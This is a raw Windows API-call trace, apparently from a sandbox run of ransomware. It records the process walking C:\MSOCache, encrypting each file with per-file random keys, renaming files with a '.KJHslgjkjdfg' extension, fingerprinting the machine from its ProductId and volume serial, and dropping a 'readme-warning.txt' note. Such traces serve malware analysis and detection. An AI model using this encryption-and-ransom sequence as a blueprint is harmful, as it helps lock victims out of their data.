[0164.032] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2488, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0x2488, lpOverlapped=0x0) returned 1 [0164.034] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x2490, dwBufLen=0x2490 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x2490) returned 1 [0164.034] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.035] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0x2490, lpOverlapped=0x0) returned 1 [0164.035] CryptDestroyKey (hKey=0x2f18208) returned 1 [0164.035] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.035] SetEndOfFile (hFile=0x124) returned 1 [0164.038] GetProcessHeap () returned 0x2ef0000 [0164.038] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0164.038] GetProcessHeap () returned 0x2ef0000 [0164.038] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0164.038] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0164.043] CloseHandle (hObject=0x124) returned 1 [0164.043] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ShellUI.MST", cAlternateFileName="")) returned 1 [0164.043] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0164.045] GetProcessHeap () returned 0x2ef0000 [0164.045] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0164.045] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0164.045] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0164.045] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0164.045] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0164.045] GetProcessHeap () returned 0x2ef0000 [0164.045] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0164.045] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40) returned 1 [0164.045] CryptDestroyKey (hKey=0x2f18208) returned 1 [0164.045] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f8*=0x40, lpOverlapped=0x0) returned 1 [0164.048] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0164.049] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0164.049] WriteFile (in: hFile=0x124, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0164.049] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0164.049] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0164.049] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0164.049] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0164.049] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.049] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0xe00, lpOverlapped=0x0) returned 1 [0164.049] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0xe00, dwBufLen=0xe00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0xe00) returned 1 [0164.049] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.049] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0xe00, lpOverlapped=0x0) returned 1 [0164.050] CryptDestroyKey (hKey=0x2f18208) returned 1 [0164.050] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.050] SetEndOfFile (hFile=0x124) returned 1 [0164.050] GetProcessHeap () returned 0x2ef0000 [0164.050] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0164.050] GetProcessHeap () returned 0x2ef0000 [0164.050] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0164.050] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.kjhslgjkjdfg")) returned 1 [0164.055] CloseHandle (hObject=0x124) returned 1 [0164.055] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ShellUI.MST", cAlternateFileName="")) returned 0 [0164.056] GetProcessHeap () returned 0x2ef0000 [0164.056] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0164.056] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0164.056] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dff330 | out: pbData=0x2f0c898, pdwDataLen=0x4dff330) returned 1 [0164.056] CryptDestroyKey (hKey=0x2f18208) returned 1 [0164.056] GetProcessHeap () returned 0x2ef0000 [0164.056] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0164.056] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0164.056] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dff330 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dff330) returned 1 [0164.056] CryptDestroyKey (hKey=0x2f18208) returned 1 [0164.056] GetProcessHeap () returned 0x2ef0000 [0164.056] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f3d270 [0164.056] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0164.056] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f3d270, pdwDataLen=0x4dff330 | out: pbData=0x2f3d270, pdwDataLen=0x4dff330) returned 1 [0164.056] CryptDestroyKey (hKey=0x2f18208) returned 1 [0164.056] GetProcessHeap () returned 0x2ef0000 [0164.056] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0164.057] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0164.057] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfef10 | out: pbData=0x2f0c928, pdwDataLen=0x4dfef10) returned 1 [0164.057] CryptDestroyKey (hKey=0x2f18208) returned 1 [0164.057] GetProcessHeap () returned 0x2ef0000 [0164.057] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0164.057] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0164.057] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dfef10 | out: pbData=0x2f11778, pdwDataLen=0x4dfef10) returned 1 [0164.057] CryptDestroyKey (hKey=0x2f18208) returned 1 [0164.057] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfef0c | out: phkResult=0x4dfef0c*=0x124) returned 0x0 [0164.057] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfef18, lpcbData=0x4dfef14*=0x400 | out: lpType=0x0, lpData=0x4dfef18*=0x30, lpcbData=0x4dfef14*=0x18) returned 0x0 [0164.057] RegCloseKey (hKey=0x124) returned 0x0 [0164.057] GetProcessHeap () returned 0x2ef0000 [0164.057] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0164.057] GetProcessHeap () returned 0x2ef0000 [0164.057] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0164.058] GetProcessHeap () returned 0x2ef0000 [0164.058] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0164.058] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0164.058] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dfece4 | out: pbData=0x2f11778, pdwDataLen=0x4dfece4) returned 1 [0164.058] CryptDestroyKey (hKey=0x2f18208) returned 1 [0164.058] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0164.058] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0164.058] GetProcessHeap () returned 0x2ef0000 [0164.058] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0164.058] wsprintfA (in: param_1=0x4dfef2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0164.058] wsprintfA (in: param_1=0x4dff33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0164.058] GetProcessHeap () returned 0x2ef0000 [0164.058] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f3d638 [0164.059] wsprintfW (in: param_1=0x4dfe30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0164.059] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0164.060] WriteFile (in: hFile=0x124, lpBuffer=0x2f3d638*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfe308, lpOverlapped=0x0 | out: lpBuffer=0x2f3d638*, lpNumberOfBytesWritten=0x4dfe308*=0x3b3, lpOverlapped=0x0) returned 1 [0164.060] CloseHandle (hObject=0x124) returned 1 [0164.061] GetProcessHeap () returned 0x2ef0000 [0164.061] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3d270 | out: hHeap=0x2ef0000) returned 1 [0164.061] GetProcessHeap () returned 0x2ef0000 [0164.061] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3d638 | out: hHeap=0x2ef0000) returned 1 [0164.061] GetProcessHeap () returned 0x2ef0000 [0164.061] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0164.061] GetProcessHeap () returned 0x2ef0000 [0164.061] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0164.061] FindClose (in: hFindFile=0x2f181c8 | out: hFindFile=0x2f181c8) returned 1 [0164.061] GetProcessHeap () returned 0x2ef0000 [0164.061] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16bd8 | out: hHeap=0x2ef0000) returned 1 [0164.061] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{90140000-0117-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9AFC7~1")) returned 1 [0164.061] GetProcessHeap () returned 0x2ef0000 [0164.061] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8e) returned 0x2f14588 [0164.061] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f181c8 [0164.064] GetProcessHeap () returned 0x2ef0000 [0164.064] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0164.064] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0164.064] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1 [0164.064] GetProcessHeap () returned 0x2ef0000 [0164.064] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x290) returned 0x2f16bd8 [0164.064] GetProcessHeap () returned 0x2ef0000 [0164.064] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xa8) returned 0x2f14588 [0164.064] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*.*", lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18208 [0164.076] GetProcessHeap () returned 0x2ef0000 [0164.076] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0164.076] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0164.077] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa623330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x266a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AccessMUI.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1 [0164.077] GetProcessHeap () returned 0x2ef0000 [0164.077] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2aa) returned 0x2f16e70 [0164.077] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0164.119] GetFileSizeEx (in: hFile=0xf0, lpFileSize=0x4dff280 | out: lpFileSize=0x4dff280*=2517504) returned 1 [0164.119] GetProcessHeap () returned 0x2ef0000 [0164.119] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0164.119] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0164.119] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.119] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff270 | out: phKey=0x4dff270*=0x2f18248) returned 1 [0164.119] CryptSetKeyParam (hKey=0x2f18248, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0164.119] GetProcessHeap () returned 0x2ef0000 [0164.120] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0164.120] CryptEncrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff250*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff250*=0x40) returned 1 [0164.120] CryptDestroyKey (hKey=0x2f18248) returned 1 [0164.120] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff26c, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff26c*=0x40, lpOverlapped=0x0) returned 1 [0164.125] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff274*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff26c, lpOverlapped=0x0 | out: lpBuffer=0x4dff274*, lpNumberOfBytesWritten=0x4dff26c*=0x4, lpOverlapped=0x0) returned 1 [0164.125] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff26c, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff26c*=0x10, lpOverlapped=0x0) returned 1 [0164.125] WriteFile (in: hFile=0xf0, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff26c, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff26c*=0x80, lpOverlapped=0x0) returned 1 [0164.125] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0164.125] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff26c, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff26c*=0x8, lpOverlapped=0x0) returned 1 [0164.125] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff270 | out: phKey=0x4dff270*=0x2f18248) returned 1 [0164.125] CryptSetKeyParam (hKey=0x2f18248, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0164.125] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff240 | out: lpNewFilePointer=0x0) returned 1 [0164.125] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff234, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff234*=0x40000, lpOverlapped=0x0) returned 1 [0164.133] CryptEncrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff23c*=0x40000) returned 1 [0164.139] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.139] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff238, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff238*=0x40000, lpOverlapped=0x0) returned 1 [0164.140] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x266ad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.140] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff238, lpOverlapped=0x0 | out: lpBuffer=0x4dff240*, lpNumberOfBytesWritten=0x4dff238*=0x8, lpOverlapped=0x0) returned 1 [0164.140] 